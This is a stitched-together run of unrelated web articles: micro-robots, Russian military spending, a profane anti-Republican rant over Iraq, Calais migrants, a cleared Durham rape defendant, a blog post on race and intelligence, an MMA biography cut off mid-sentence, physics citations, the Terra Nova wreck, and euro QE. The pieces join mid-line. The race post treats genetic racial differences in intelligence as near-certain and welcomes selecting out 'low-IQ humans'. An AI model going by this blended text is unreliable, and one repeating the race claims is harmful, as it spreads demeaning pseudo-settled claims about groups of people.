So rather than have to construct thousands of specialised micro-bots, SRI has come up with a way for the bots themselves to set up a tool-shop to make the specialised end-effectors used by other bots.
They can also form into different arrays, joining together several micro-robots in specific shapes depending on the task required. The first half of the video below shows they way the micro-bots are corralled in an “incubator” that forms several up into different arrays.
The second part of the video shows a micro-bot equipping other micro-bots with specialised end-effectors.
Ron Pelrine, chief scientist in the Robotics Program at SRI International, spoke to IEEE Spectrum about the project.
The microfactory tool shop works in much the same way as would a tool shop in a macro factory, he says.
Instead of having to many special-purpose robots to complete tasks that may change, you just buy standardised robots, and outfit them with special purpose-tools that you make on-site.
It’s faster, cheaper, and much more efficient, Pelrine says.
SRI is also working on a new way of controlling magnetic micro robots using magnetic levitation that would allow the bots to be positioned much more accurately – at a resolution of 200 nanometres.
Pelrine foresees other uses for the technology beyond manufacturing, with the micro-robots integrated with other robotic systems, “’living’ inside larger robots, monitoring them and performing maintenance and repairs”.Russia is back in the top ranks of military spenders.
The country boosted its military spending to $69.2 billion in 2016, according to a new report from the Stockholm International Peace Research Institute (SIPRI). The 5.9% increase landed Russia behind only the United States and China in the ranking of top spenders.
Russian President Vladimir Putin unveiled plans in 2011 to spend more than 20 trillion rubles ($360 billion) to modernize his country's antiquated military equipment by 2025.
Putin's plans were interrupted by Russia's deep economic crisis and a collapse in the value of the ruble in 2015. With spending depressed, Russia slipped behind Saudi Arabia and into fourth place in the ranking.
The Russian economy now appears to have turned a corner. After a lengthy recession, it returned to growth in the final quarter of 2016.
The country is making up for lost time: Military spending made up 5.3% of its economy in 2016, the largest share of production since Russia became an independent state in 1991.
Russia is active in the conflict in Syria, and it maintains military installations in the country. The U.S. and European Union both imposed sanctions on Russia after it annexed Crimea in 2014.
With Russia resurgent, spending by countries in central Europe jumped by 2.4% in 2016.
"The growth in spending by many countries in central Europe can be partly attributed to the perception of Russia posing a greater threat," said Siemon Wezeman, a senior researcher at SIPRI.
Saudi Arabia, meanwhile, slumped to fourth in the 2016 rankings after it cut military spending by $25.8 billion.
The country is currently engaged in a conflict in Yemen. But SIPRI said that many oil producers, including the de facto OPEC leader, were forced to reduce military spending because of a collapse in oil prices.
Related: How NATO is funded and who pays what
The U.S. remained the world's biggest military spender in 2016, with total expenditure growing by 1.7% to reach $611 billion. It was the first annual increase after five consecutive declines, the report said.
China was the runner up with $215 billion in outlays. Its 5.4% growth rate was much lower than in previous years, SIPRI said.
The Swedish think tank said that global military spending increased to $1.7 trillion in 2016. Outlays grew in Asia, Europe and North Africa, but fell in the Middle East and South America.0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
Last night I was pushed over the brink of sanity and can no longer maintain my own standards regarding language, so be forewarned. Consider this a post-regretful evening note to the Republican Party regarding their behavior last night. If you are the sailor-swearing type, feel free to insert a rousing chorus of F-Us at the end of each paragraph. I feel it’s warranted.
About last night, Republicans. Let me help you out, because you so clearly did not hear this country on November 8, 2008 when we cast our ballots in a mandate for change via Barack Obama. Yes, this was a scathing indictment of you which you chose to ignore. You did not listen as we cast aside your politics of hate. You did not listen as we turned our backs on your racism. You did not listen when we stood unified as a nation, proud of electing our first black President. You just keep on rolling out the hate.
And then yesterday, as the President got ready to announce the last combat troops were out of Iraq, and the nation could finally let out its war-weary breath on one front, you had the nerve, the unmitigated gall, to warn the President of the United States to not take “credit” for Iraq.
Seriously?
No one is taking “credit” for Iraq. There is no “credit” to be taken. You have yet to admit you lied us into this war. You told us there were Weapons of Mass Destruction and then laughed when you were proven to have lied to us. You laughed. You didn’t even say you were sorry or show any shame or humiliation over such a huge lie. Lives were lost but you laughed.
You invaded a sovereign nation and called those of us who protested unpatriotic. You violated our rights at every turn. You abused your power and the power of the executive office. You treated it like a dictatorship. And you laughed.
You showed no sense of responsibility, no awareness of the consequences of your actions. One expects their leaders to have some grasp, however tenuous, on reality. As just an average American, I have never stopped mourning the loss of our morality and integrity as a country. Others who lived through Vietnam will say we never had any morality or integrity. But Vietnam could have been an anomaly were it not for your decision to lead us into an unwarranted war in Iraq.
The weight of those lost lives is heavy.
And instead of acknowledging these sacrifices over your mistake, instead of fighting for Veterans’ benefits, instead of finding one damn thing to be positive about, Republicans can not stop being ungrateful, petty, small-minded, empty-hearted partisan hacks.
Not only did the President give former President Bush credit last night in his speech, but he never took “credit” for ending this war himself. He acknowledged that he had kept a campaign promise, but it seems to escape the Republicans that he didn’t make that promise as some nod to his base, he made it because he did not agree with the invasion. He never did. It’s called integrity. It wasn’t a jingle. My god, I feel like I’m explaining Newton’s Theory of Universal Gravitation to children. The vastness of your inability to grasp complicated truths astounds me.
He never pretended to be rah-rah. He didn’t label this “Mission Accomplished”. He was somber, because the ending of an atrocity does not make it any less atrocious. And yet, we want to honor the troops who have given the ultimate sacrifice for us because we called upon them. Or rather, you called upon them. We were protesting and being called unpatriotic. But now that the war was started, now that they have served, we are trying to learn from Vietnam. We don’t want them feeling like the Vietnam troops did. Had the President questioned the justice of this war too much, he would dishonor the troops’ mission. And yet, he makes it clear that we want to examine how we got here, not to point the fingers, but so that we can learn.
Like a leader, he thanked the troops. He thanked everyone who sacrificed for this war, even though he didn’t start it and didn’t believe in it. He showed amazing grace and hit all the right notes.
The President is a better person than I.
This President has the grace and intelligence to hand you Republicans a huge political gift of non-partisanship regarding this war, not because he digs you and certainly not because you have earned it, but because he loves this country enough to want unify us. He wants to do this more than he wants to score political points. And this allows you a get-out-of-jail free card.
He wants to lead us into a healing arena and away from the rage that so consumes a nation that was lied to and betrayed and so he did not mention how you lied us into this war. He didn’t mention all of the ways you have failed to support the veterans. He went so far as to give Bush credit, rightfully so, for finally implementing the surge which became the train, advice and assist mission. He never pointed out that that mission would have failed if not for his own diplomatic approach to the Iraqis, who wanted dominion over their country back but were at the same time, afraid of our leaving.
None of this was Obama’s problem. He did not start this war. He was against this war. And still, he has managed to clean up your mess,the epic cluster-#*@* and put it all away, and never point the finger at you. If he merely points out that he inherited this war, you whine. That can only be because you are too childish and immature to own up to your own mistakes and instead would like this President not only to buy into your revisionism, but give you “credit” for anything he managed to salvage from it. Still, he extended a hand to you last night and to Bush. A bridge for our country. A gift to you.
And you took this gift and crapped petty partisanship all over it.
You buried it in the putrid stench of juvenile taunts and hubristic mocking, all meant to distract from your denial of your utter ownership of this debacle. You whined all over TV and your cowardly bunkers of Facebook about how you wanted credit for “Iraq”, never once admitting that we wouldn’t be there in the first place if you hadn’t lied to us. Never admitting that the surge you keep patting yourselves on the back for wouldn’t have been necessary if Bush hadn’t ignored General Shinseki’s recommendations prior to invasion.
Here’s their 2012 front-runner, Sarah Palin, and her mocking preemptive strike of her President courtesy of Jason Easley:
“”Later today, President Obama will speak to the American people about Iraq. No doubt he will laud the “end of major combat operations” by the date he randomly selected some 18 months ago. His press secretary Robert Gibbs also gave us a glimpse of what else he might say, telling the Today Show this morning that “What is certainly not up for question is that President Obama, then-candidate Obama, said that adding those 20,000 troops into Iraq would, indeed, improve the security situation, and it did.””
Yes, Sarah. Obama was paying attention way back when, before you even knew who the Iraqis were or where Iraq was on a map.
And now you want credit for the surge? The same surge that was actually you finally sending the amount of troops General Shinseki told you were needed from the beginning. Let me refresh your conveniently sketchy memory. The New York Times reported:
“General Shinseki, testifying before Congress in February 2003, a month before the United States invaded Iraq and toppled Saddam Hussein’s regime, said “several hundred thousand soldiers” would be needed to stabilize Iraq after an invasion. In words that came to be vindicated by events, the general anticipated “ethnic tensions that could lead to other problems,” adding, “and so it takes a significant ground force presence to maintain a safe and secure environment.”
The testimony angered Donald H. Rumsfeld, the defense secretary at the time, whose war plans called for far fewer troops.”
Do you recall now? Do you remember now why we had to have a “surge”? This surge that you are screeching about was the result of your failure to listen to your own General. Allow me to reiterate again, in case you missed it as you are obviously slow, that the surge would never have been necessary in the first place if you had not lied us into war.
And let’s face it, Republicans, you didn’t want to implement a draft or make the war unpopular leading up to an election, so you knowingly sent inadequate troops into a slaughter. You did this because you were losing the war in Afghanistan and you wanted to distract the people so you could win an election.
How do you even hold your head up in public, let alone go around demanding attention and kudos for a poorly implemented invasion?
If you want credit for something so badly, why don’t you own up to your mistakes first. That’s generally how it’s done. Out here in Real America.
Have you no pride? No honor? Not a shred of shame?
Republicans, you don’t have the grace to know when to shut up. So let me help you. Now is the time to shut up. Now is the time to go hide with your tails between your legs. Now is the time to come out with bland but supportive statements of your President and the troops. Now is the time to just stop the craziness. Stop it now.
You go too far.
If for no other reason, I would not vote for a party so out of touch with this country that you don’t know when to shut the hell up. And, courtesy of this peace-loving and proud of it Liberal American patriot, let me add what the President could not last night: a loud, hearty, red white and blue F-U. And you can take that to the bank.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:“Beware - Do Not Add To Recent Deaths - Danger of Death” says the sign in English, French, Arabic and several other languages posted on the barbed wire fence around the Channel Tunnel terminal.
But the stark warning is not enough to deter the hundreds of desperate migrants who try night after night to find a breach in the fence believing that they will find a better life at the other end of the tunnel.
The situation in the French port has reached fever pitch in recent days, and the situation is only set to get worst as camps swell and those caught attempting to get through the fence are released to try again.
The nightly ritual at the terminal now sees around 2,000 attempts and Theresa May, the Home Secretary, has voiced concerns migrants may be rushing to make their bid before more secure fencing - paid for by Britain - goes up in the next few days.
Those waiting for the cover of darkness to try and break through looked panicked by the idea of tighter security.
Others blamed the surge on improved conditions on the Mediterranean, meaning more people have been able to reach the continent via Libya and Egypt.
Uhrad, 30, an Eritrean accountant who reached the Calais camp on Thursday night, said that having made it this far they would not be deterred by tightened security.
Summing up the determination at the port he said: "You know people will make a way - they will dig under the fence. The ferries became too difficult so now they are trying the trains. People will swim if that's too difficult."
By around 2 am the port was buzzing with activity, with French riot police watching from a distance, ready to move in when they spotted migrants climbing over or cutting their way through the daunting double fence that is lined with barbed wire at the top, bottom and the space in between.
“I don’t care if they put a fire there. I’ll still get over it,” said 28-year-old Darood, who claims he had fled his native Ethiopia after most of his family members were killed.
• Latest updates: David Cameron chairs Cobra crisis talks as British Army on standby
He watched keenly as a train carrying lorries lumbered by under the floodlights just a few dozen yards away, about to be swallowed up by the tunnel that leads under the Channel to England.
Darood didn’t make it through, but said he would keep trying until he finally did get to the country which he and most of the other migrants here see as some sort of El Dorado where their lives will rapidly improve.
Many have made it, and many more are likely to do so as police admit they are simply overwhelmed by the growing numbers of migrants who have recently turned their attention away from Calais ferry port - after security was tightened there - to make their desperate bids at the tunnel terminal.
"It's like trying to swat moles,” said Claude Verri of the UNSA police union. “All we can do is take them out of the terminal area and then leave them there. And then five minutes later they can be back inside again."
• David Cameron blames Calais crisis on'swarm' of migrants
• Why so many migrants flee Eritrea: world's most repressive regimes
Exactly how many eventually get to England no-one knows, but UK officials say that they prevented 18,000 stowaways from entering the country between January 1 and May 21 this year.
Some die in their attempt. At least ten have lost their lives since June alone, through electrocution or after falling off trains or lorries they were trying to clamber onto.
In the latest death officials said that a migrant had leapt onto a Eurotunnel shuttle train but smashed his head on the platform. He died on Tuesday from his injuries.
There is a cat and mouse game between the police migrants. Every time a hole in the fence is made workers fix it. Lines of officers try and push them back toward the “Jungle” - the vast shanty town among sand dunes several miles away.
There was a moment of tension but the confrontation was mostly good-humoured, with one officer’s appeal to the migrants to “Come back tomorrow” was met with laughter. “We want to go today,” someone shouted back.
“If we had no problems in our countries we wouldn’t be here,” said Abdurahmen, a young Sudanese man who said he had taken a perilous journey through Libya and then across the Mediterranean on a rickety boat to reach Europe.
“None of us want to live like this. I just want to live in Britain, make a family, take my kids to school,” he said. Police said on Thursday that overnight they had “arrested” around 300 people trying to break into the tunnel terminal.
But in fact all they do is take migrants who have breached the fence - or tried to - and put them on a bus that at dawn deposits them at a roundabout on the edge of Calais.
From there they head back to the Jungle and rest for the day before planning their next assault on the terminal.
The massive migrant presence, combined with wildcat strike action by ferry workers, have this summer crippled Calais and caused travel chaos for holidaymakers and truckers alike as ferry and train services were repeatedly brought to a halt.
• David Cameron: UK will not be'safe haven' for'swarm' of immigrants
• Surrey Police and Crime Commissioner: 'We must send in the army'
Many people of Calais express sympathy for the plight of the migrants - many of them women and children - but say their town has suffered enough and the crisis must be resolved.
"Calais is suffocating. The tourists have stopped coming here because all they see on the telly is stories about migrants and they are afraid to come," said Gilles Duvauchelle, the owner of Le Bounty café in the town centre.
Several customers at the bar nodded in agreement, with one woman saying that Britons used to come in large numbers to stock up on wine and French food in the hypermarkets on the edge of town. But now they have dwindled to a trickle, she said.
"The government is incompetent," said Mr Duvauchelle.
"When migrant camps build up in Paris they move them on. But when they're here in Calais they don't give a damn.”Durham University student George Worrall has called for changes to the law around sex crimes after he was cleared of rape
A student cleared of rape after the case against him collapsed has called for anonymity for those accused of sexual offences.
Durham University undergraduate George Worrall was facing three counts of rape, but just weeks before he was due to stand trial, the Crown Prosecution Service decided not to proceed.
The CPS said that, following a review of the case, the prospect of a conviction appeared,'very unlikely', due to, 'inconsistencies of the victim's account'.
As a result the Crown offered 'no evidence' against Mr Worrall and a formal not guilty verdict was recorded.
Mr Worrall, who denied all three charges, had been suspended by the university pending the outcome of the case.
The 22-year-old, from Cromer in Norfolk, has now spoken about his plans to return to his studies to resume his engineering course in September, and to campaign for anonymity for defendants accused of rape and other sexual offences.
Mr Worrall said: 'After 18 months of facing these allegations, I have finally been cleared by the Crown Prosecution Service, indicating late one afternoon that they did not plan to proceed with the case.
'I do not feel anger for what has been done to me but instead end the case with a renewed sense of purpose and pride for the things I have achieved over the last 18 months, both personally and professionally in spite of the investigation.'
Mr Worrell plans to return to Durham University, from which he was suspended during the investigation
In a statement released by his lawyers at Belmores Solicitors, he added: 'My experience is not an isolated one.
THE LAW ON ANONYMITY Since the Sexual Offences (Amendment) Act 1976, people who allege they are victims of rape have been automatically entitled to lifelong anonymity once their complaint has been made. This has since been extended to other sexual offences. Under the 1976 act, defendants in rape cases were also granted anonymity, but this was repealed by the Criminal Justice Act 1988.
'There have been a number of high profile cases in the news recently where the defendants have been found not guilty and there are many young men, especially in higher education, who face similar situations across the country.
'These men go through life-changing ordeals and it is time the Government took action to provide adequate protection and grant anonymity to those accused until a court has made a decision as to guilt or innocence.
'When I return to Durham, in September, I will be setting up a group to provide support for young men in higher education who are facing allegations and lobbying for a change in legislation to ensure those accused are treated fairly and do not have their futures jeopardised once they are cleared.'
Mr Worrall's experience follows a number of recent high-profile cases, including that of singer Sir Cliff Richard and DJ Paul Gambaccini, who were told they would face no further action after high-profile and long-running investigations.Last night I attended a talk given by Charles Murray. During the Q&A a threatening looking young man asked Mr. Murray if he was the author of The Bell Curve, which he said was about "blacks possessing inferior intellectual ability to whites." Charles Murray bravely stood his ground and stated that he had co-written the book. He further said that only a part of one chapter was devoted to the subject of race, that at the time much less was known regarding genetic influence, and that he and Richard Herrnstein were then agnostic on the subject.
A few days ago I received an email from Mike Berman, a good friend and Dissident Right supporter. I reproduce it here with Mike's permission.The precise statement of that is in Chapter 13 of The Bell Curve: "It seems highly likely to us that both genes and the environment have something to do with racial difference. What might the mix be? We are resolutely agnostic on that issue; as far as we can determine, the evidence does not yet justify an estimate."
That was written in 1994. Back (that is, forward) to Mike's email of last week.
Mr. Murray said that since the book was written we have learned that evolution has not stopped since man left Africa and may have even speeded up. Then Charles Murray made a startling statement. He said that an unstoppable train was coming down the track which would be arriving within three years. He was emphatic that this train would not take a decade or even five years. Mr. Murray says that within these three years incontrovertible evidence of the overwhelming genetic influence on cognitive abilities and many other human traits of the different races will become available. He said that he doesn't know what the reaction will be when this occurs but that he cannot imagine professors who have made a career out of proclaiming the contrary view will just say, "Never mind."
It happened that Mike's email arrived while I was catching up on some back reading of the human-science blogs. One of the best of those blogs is Razib Khan's over at The Unz Review
Here was Razib on January 26th, in the comment thread to one of his own posts. The comment thread is chewing over that same issue, the genetic architecture of human intelligence.
honestly i would just sit on my hands for now. in the next <5 years the genomic components of traits like intelligence will finally be characterized. this is not speculation, but anticipation based on research going on now. [R.A. Fisher on Race and Human Genetic Variation by Razib Khan; The Unz Review, January 24th 2016.]
It's interesting that two people who have studied this topic and thought deeply about it but from different perspectives—Murray as a sociologist, Khan as a population geneticist—should be in such close agreement on the timescale here. Murray says "within three years"; Khan, "in the next <5 years."
Murray has actually shortened his estimate since 2010. That was the year he told Norwegian inquirer Harald Eia that:
We don't know the extent to which these [i.e. race difference sin intelligence] are environmental and the extent to which these are genetic. It's still being explored. We will know the proportions very... Oh, maybe ten, fifteen, twenty years from now, because work in genetics is proceeding so fast that we're bound to find out what proportion is genetic and what proportion is environmental. [At 29m35s here, in the sixth instalment of Harald Eia's 2010 Brainwash series, which I wrote up for VDARE.com last year.]
"Ten, fifteen, twenty years" from 2010 means 2020, 2025, or 2030. Murray seems to now be settling on some date earlier than 2020, as does Khan.
Assuming these gents are correct, there are at least two big social consequences to look out for.
First of course is the "designer baby" issue. Once key gene variants for high intelligence are known—and it needn't even be all of them, just ones with the biggest effect—widespread embryo selection and/or selective abortion could eliminate births of low-IQ humans, or at least make such births a deliberate choice.
Second, and much more fun to observe, will be the one Murray identified: the writhing and shrieking of "professors who have made a career out of proclaiming the contrary view."
(My own very modest contribution to the topic is here.)American mixed martial arts fighter
Jorge Masvidal (born November 12, 1984) is an American mixed martial artist currently competing in the UFC's Welterweight division.[3] A professional since 2003, he has also competed for Bellator, Strikeforce, Shark Fights, and World Victory Road.[4] As of January 28, 2019, he is #10 in official UFC Welterweight rankings.[5]
Background [ edit ]
Masvidal was born and raised in Miami, Florida, to a Cuban father and Peruvian mother. He was often involved in street fighting from a young age. There are recorded videos of his fights on YouTube defeating Kimbo Slice's protégé "Ray."[6] Masvidal later competed in wrestling at St. Brendan High School, but failed to stay eligible because of his grades, and then began training in mixed martial arts.[7]
Mixed martial arts career [ edit ]
Early career [ edit ]
Jorge won his kickboxing debut by unanimous decision on April 11, 2003, at Fast and Fearless event.[citation needed] Masvidal's most high-profile victory came in the main event of the Absolute Fighting Championships XII event held on April 30, 2005. The fight was against current UFC competitor and The Ultimate Fighter 5 contestant Joe Lauzon, who came in undefeated at eight wins and no losses with all eight wins by way of submission. Jorge won via Technical Knock Out in the second round with a flurry of punches.[8]
Jorge garnered a 3–0 record in the now defunct BodogFIGHT promotion, including decision victories over Keith Wisniewski, Steve Berger and a head kick knockout of PRIDE Fighting Championships and UFC veteran Yves Edwards.
Bellator [ edit ]
Masvidal was signed by Bellator and entered their Lightweight Tournament in April 2009.[9] Masvidal won his first fight via TKO in the first round. However, he was defeated in the semi-finals to Toby Imada at Bellator 5 by inverted triangle choke submission in the third round. This upset loss to Imada was acknowledged by Sherdog and MMA Junkie as Submission of the Year.
Masvidal faced and defeated Eric Reynolds at Bellator 12 in a 160 lb Catchweight bout via rear-naked choke submission. He was rumored to be fighting again in the Season Two Lightweight Tournament but after losing a bout before that, he was released by the organization.
Masvidal moved up to the welterweight division to fight Paul Daley at Shark Fights 13 in Amarillo, Texas in September 2010. The bout was later made a catchweight of 171.75 lbs. after Daley failed to make weight.[10] Daley defeated Masvidal via unanimous decision.[11] After this performance, Masvidal signed with Strikeforce.[12]
Strikeforce [ edit ]
Masvidal returned to Strikeforce in early 2011, facing Billy Evangelista at Strikeforce: Feijao vs. Henderson. He won the fight via unanimous decision.[13]
Masvidal then fought former Elite XC Lightweight Champion K.J. Noons[14] in a number one contender's bout. Masvidal won the fight using superior grappling and dropping Noons at the end of the first round with a high kick.[15]
Masvidal faced Gilbert Melendez for the Strikeforce Lightweight Championship at Strikeforce: Melendez vs. Masvidal on December 17, 2011 at the Valley View Casino Center in San Diego, CA.[16] He lost the fight via unanimous decision.[17]
Following the championship bout, Masvidal fought Justin Wilcox at Strikeforce: Rockhold vs. Kennedy on July 14, 2012. He won the fight via split decision.[18][19]
Masvidal was then expected to face Bobby Green on November 3, 2012 at Strikeforce: Cormier vs. Mir, but the bout was cancelled due to the cancellation of the event itself. Masvidal was later expected to face Pat Healy at Strikeforce: Marquardt vs. Saffiedine but had to pull out due to a back injury.[10]
Ultimate Fighting Championship [ edit ]
Following the dissolution of Strikeforce in January 2013, Masvidal was brought over to the UFC. He made his debut against Tim Means on April 20, 2013 at UFC on Fox 7.[20] Masvidal was successful in his debut, winning the fight via unanimous decision.[21]
For his second bout with the promotion, Masvidal made a quick return to the Octagon as he replaced Reza Madadi in a bout against Michael Chiesa on July 27, 2013 at UFC on Fox 8.[22] Despite being dropped in the first round by punches, Masvidal took control in the second round and won via submission.[23]
For his third UFC bout, Masvidal faced Rustam Khabilov on November 6, 2013 at UFC: Fight for the Troops 3.[24] He lost the back-and-forth fight via unanimous decision. Despite the loss, the bout did earn Masvidal his first Fight of the Night bonus honors.[25]
Masvidal fought longtime veteran Pat Healy at UFC on Fox 11.[26] He out-struck the veteran to a unanimous decision win.[27]
Masvidal faced Daron Cruickshank on July 26, 2014 at UFC on Fox 12.[28] After being dropped by a punch in the first round, Masvidal recovered to win a unanimous decision victory.
A bout with Bobby Green, first scheduled under the Strikeforce banner in 2012 before being scrapped, was expected to take place on September 27, 2014 at UFC 178.[29] However, on August 14, the UFC announced that Masvidal would instead face James Krause.[30] Masvidal won the fight via unanimous decision.[31]
Masvidal was expected to face Norman Parke on January 18, 2015 at UFC Fight Night 59.[32] However, Masvidal pulled out of the bout citing an injury and was replaced by Gleison Tibau.[33]
Masvidal was briefly linked to a bout with Bobby Green on April 4, 2015 at UFC Fight Night 63.[34] However, shortly after the fight was announced by the UFC, Green pulled out of the bout citing an injury and was replaced by Benson Henderson.[35] In turn, Henderson was removed from the bout to serve as event headliner at UFC Fight Night 60.[36] Masvidal eventually faced Al Iaquinta at the event.[37] He lost the bout in a closely contested split decision.[38] 13 of 15 media outlets scored the bout in favor of Masvidal.[39]
Masvidal faced Cezar Ferreira in a welterweight bout on July 12, 2015 at The Ultimate Fighter 21 Finale.[40] He won the fight via knockout in the first round, also earning a Performance of the Night bonus.[41][42]
Masvidal was expected to face Dong Hyun Kim on November 28, 2015 at UFC Fight Night |
bit Interaction and Magnetoresistance in the Two Dimensional Random System, Prog. Theor. Phys., 63(2), 707-710 (1980)
A.I. Larkin, Effect of inhomogeneities on the structure of the mixed state of superconductors, Sov. Phys. JETP 31(4), 784 (1970) ; (RUS) ZhETF, 58 (4), 1466-1470 (1970)
A.I. Larkin, D.E. Khmel’nitskii, Phase Transition in Uniaxial Ferroelectrics, Sov. Phys. JETP 29(6), 1123-1128 (1969) ; (RUS) ZhETF, 56 (6), 2087-2098 (1969)
L.G. Aslamazov, A.I. Larkin, Effect of Fluctuations on the Properties of a Superconductor Above the Critical Temperature, Sov. Phys. Solid State, 10(4), 875-880 (1968) ; (RUS) Fizika tverd. tela, 10 (4), 1104-1111 (1968)
A.I. Larkin, Yu.N. Ovchinnikov, Nonuniform state of superconductors, Sov. Phys. JETP 20, 762 (1965) ; (RUS) ZhETF, 47(3), 1136-1146 (1964)
V.G. Vaks, A.I. Larkin, On the application of the methods of superconductivity theory to the problem of the masses of elementary particles, Sov. Phys. JETP 13, 192-193 (1961) ; (RUS) ZhETF, 40(1), 282-285 (1961)
A.A. Vedenov, A.I. Larkin, Equation of state of plasma, Sov. Phys. JETP 9, 806-821 (1959) ; (RUS) ZhETF, 36(4), 1133-1142 (1959)The ship that carried Captain Robert Falcon Scott on his ill-fated journey to the Antarctic a century ago has been located at the exact opposite end of the planet. The SS Terra Nova was discovered last month off the coast of Greenland by researchers from Schmidt Ocean Institute of Palo Alto, Calif
Captain Scott's ship, the Terra Nova, before he set sail on his ill-fated expedition to the South Pole in 1911. ( Press Association )
Team members were testing equipment when they came across an unidentifiable object that measured about 57 metres long, the length of the Terra Nova, reported the Australian Broadcasting Corporation. After sending down a camera to snap shots of the wooden wreck lying on its side, researchers were able to confirm it was indeed the ship that Scott sailed on. The ship has been submerged in icy water for almost 70 years.
Article Continued Below
Originally built for the whaling and sealing industry in 1884, Terra Novacarried Scott and his team from Cardiff, Wales, to Antarctica in their bid to become the first crew to reach the South Pole. When they finally arrived at the Pole in January 1912, a little over a year after leaving the United Kingdom, they found out they were 33 days too late, having been beaten by the Norwegian team lead by Roald Amundsen. Scott and the four other men who made the trek from the Antarctic coast to the South Pole never made it back to the ship. Those left onboard eventually returned home, and Terra Nova was afterward used in the Newfoundland seal fishery. The ship was brought into service during World War I as a supply carrier. In 1943, it was carrying supplies to Greenland for Newfoundland Base Contractors when it got trapped in ice. The U.S. Coast Guard managed to rescue all 24 crew members, but fired into Terra Nova’s side, sinking it.
The discovery of the Terra Nova is particularly poignant this year, the 100th anniversary of Scott’s arrival at the South Pole. Leighton Rolley, a member of the research team that located the ship, told The Telegraphthe discovery was an “exciting achievement.” Because it is found under more than 1,000 feet of water, and also because of its condition and the cost a recovery project would incur, Rolley said it’s unlikely the Terra Nova will ever be brought back to the surface.Riot police stand outside the European Central Bank's headquarters in Frankfurt. REUTERS/Kai Pfaffenbach Global currency markets made front-page headlines last week as the euro plunged towards parity with a surging dollar and the pound similarly soared against the single currency.
But why is the dollar so buoyant and the euro spiralling downward? And should you lock in the strong pound by buying your summer holiday money now?
You may, quite reasonably, think that economic fundamentals, such as GDP growth and cross-border trade flows, still drive exchange rates.
Unfortunately, though, you'd be wrong. For we live in the age of "extraordinary monetary measures" and "central bank diktat".
That may sound like a remote, jargon-laced statement, the musings of a nerdy economist. I'd say, in response, that the recent actions of Western central bankers are provoking not only heightened market volatility, but also increasing international conflict and the looming prospect of another Lehman-style systemic lurch. The dangers, sadly, are very real.
Currency dealers, and the ubiquitous computerised trading robots, are influenced far less these days by growth or inflation forecasts than by the market's view on the origin of the next splurge of quantitative easing.
That judgment is driven, in turn, by the coded missives of central bankers like the US Federal Reserve's Janet Yellen, Mark Carney at the Bank of England and, particularly in recent months, Mario Draghi at the European Central Bank (ECB).
President of the European Central Bank Mario Draghi and U.S. Federal Reserve chair Janet Yellen speak before the G20 finance ministers and central bankers family portrait during the IMF/World Bank 2014 Spring Meeting in Washington April 11, 2014. REUTERS/Joshua Roberts Why did the euro fall to almost $1.05 last week, a 12-year low, having dropped some 12pc against the greenback since the start of the year? Why, when each pound bought you just €1.19 last March, can holidaymakers now expect €1.40 for every pound exchanged?
The main reason is the ECB's long-awaited programme of virtual money-printing, which launched last Monday. Under euro-QE, the eurozone will be flooded with at least €1,100bn (£825bn) of newly created money over the next year and a half, as the Frankfurt-based central bank buys government and corporate bonds at the rate of around €60bn a month.
Like some kind of economic horse-whisperer, Draghi then commented that the eurozone economy is "now pointing in the right direction", apparently raising the prospect of even-faster ECB money-creation, so depreciating the euro even more. As such, at the time of writing, the single currency has dropped over 6pc in six days, a pace of decline seen only once since the euro was launched in 1999 - and that was just after the 2008 Lehman Brothers collapse.
The other major cause of the single currency's recent fall is that the Fed - having already indulged in its own vast money-printing programme, which saw America's central bank expand its balance sheet threefold as a percentage of annual GDP over five years - could soon be weaning itself off the monetary steroids.
Bank of England Governor Mark Carney (L) and European Central Bank Governor Mario Draghi speak before a meeting of the International Monetary and Financial Committee (IMFC) at the World Bank/IMF annual meetings in Washington October 11, 2014. REUTERS/Joshua Roberts As such, for the first time in almost a decade, US interest rates may be about to go up. Expectations are rising, ahead of a key policymaking meeting this week, that the Fed will drop its pledge to be "patient", pointing to a rate rise perhaps as early as June. Such a prospect, of course, pushes up the dollar.
So, as a result of ECB money-printing and US central bank musing, the dollar has lately soared against the euro. After months of speculation that Fed QE is finally over and rates will soon increase, America's currency has rocketed 25pc against a trade-weighted range of currencies since May, with the dollar index now at its highest level since 2003.
The reality, of course, is that the Fed's successive doses of QE since late 2008 have been designed to keep the lid on the dollar, deliberately reining in the greenback in a bid to boost US competitiveness and limit the value of the vast debts America now owes its foreign creditors - not least China.
The eurozone, meanwhile, having initially had to bow to German objections, has so far implemented QE more covertly, expanding its balance sheet slower than the US - and the UK for that matter. As such, the ECB has used complex transactions beyond the gaze of voters in member states where central bank profligacy is frowned upon and money-printing has previously gone badly wrong - sparking inflation, political extremism and worse.
ECB President Mario Draghi. REUTERS/Ints Kalnins The perpetually moribund eurozone economy of recent years, though, to say nothing of a currency union that stumbles from crisis to systemic crisis, means euro-QE is now, apparently, OK. In other words, the eurozone can finally get its own back on the US and Britain by attempting to print its way to a cheaper currency, winning back some competitiveness. That's the theory, anyway.
What we're seeing, then, is the West's very own version of "currency wars". For almost half a decade, the big emerging markets have complained bitterly - and often publicly-- about mass money-printing by the world's "leading economies". The likes of Brazil and China have highlighted, rightly, that Western QE has lowered the relative value of their carefully accumulated dollar and sterling reserves (and debts) against local, emergent currencies such as the yuan and the real.
Now, with eurozone leaders engaging in fully blown QE, and rejoicing at the euro's fall against the dollar, currency wars are taking place not just between the developed world and the emerging markets but between the developed nations themselves. Japan, of course, is also part of this intra-G7 currency conflict, having lately launched an astonishingly extreme QE programme designed to pump up the Bank of Japan's balance sheet from just over 20pc to no less than 75pc of annual output within three years.
As such, the world's leading economies have reduced themselves to blatantly competing less on the quality of what they produce, than on the speed with which they can depreciate their currencies against one another. The lessons of history are that such situations are prone to escalate into rancour and, ultimately, conflict. That's the unfortunate truth.
Protestors against the European Central Bank in Naples on 2 October 2014. REUTERS/Stefano Renna We are, then, a very long way from normal. Consider that the ECB is launching its QE programme at a time when real interest rates are already negative. As such, historically ultra-loose monetary policy is now being made even looser. Myopic politicians like QE - because, by rigging sovereign bond markets, it allows them to keep borrowing and spending. Mismanaged banks also like QE - because it means they sell their burnt-out, under-performing investments to the state and pretend they're solvent, which avoids the discomfort of going bust.
Meanwhile, respectable people are increasingly alarmed, raising concerns about "extraordinary measures" that some of us have been voicing for years.
The head of the Dutch central bank, having not previously complained publicly, last week admitted that euro-QE, by propping up spendthrift governments, would shield the likes of France and Italy from "market discipline", postponing vital reforms. A senior Goldman Sachs banker added that negative interest rates are "freaking him out".
